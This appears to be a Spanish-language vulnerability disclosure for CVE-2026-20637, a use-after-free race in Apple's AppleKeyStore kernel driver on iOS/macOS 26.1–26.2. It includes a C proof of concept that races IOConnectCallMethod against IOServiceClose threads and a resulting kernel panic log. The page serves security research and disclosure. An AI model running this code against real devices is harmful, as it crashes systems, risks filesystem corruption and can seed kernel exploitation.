
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — vulnerabilidad del kernel de iOS/macOS (corregida en 26.4)
CVE-2026-20637 · Enfilade · enfilade.io
Componente: AppleKeyStore
Impacto: Una app podría provocar la terminación inesperada del sistema.
Descripción: Se solucionó un problema de use-after-free con una mejor gestión de memoria.
| iOS | 26.1 – 26.2 (probado) |
| macOS | 26.1 – 26.2 (probado) |
| Componente | com.apple.driver.AppleSEPKeyStore |
| Parcheado | iOS 26.3 / iPadOS 26.3 |
Apple puede haber parcheado esto de forma incremental entre 26.2.1 y 26.3, por lo que las versiones intermedias podrían no reproducir el fallo.
Ejecutar el PoC provocará un kernel panic en el dispositivo. Guarda tu trabajo antes de ejecutarlo. Los panics repetidos pueden causar corrupción del sistema de archivos. Solo para fines de investigación de seguridad.
Use-after-free en IOCommandGate desencadenado mediante una condición de carrera en AppleKeyStore. Ocho hilos llamadores golpean IOConnectCallMethod en los selectores 0–15 mientras cuatro hilos cerradores compiten con IOServiceClose, produciendo una ventana en la que se accede al command gate después de haber sido liberado.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 hilos llamadores: golpean IOConnectCallMethod (alta prioridad)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 hilos cerradores: compiten con IOServiceClose (alta prioridad)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Hilo principal: 100k conexiones, sin retraso
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// SIN RETRASO — ventana de carrera ajustada
}
ios-app/Test.xcodeproj en Xcode.panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
Consulta LICENSE.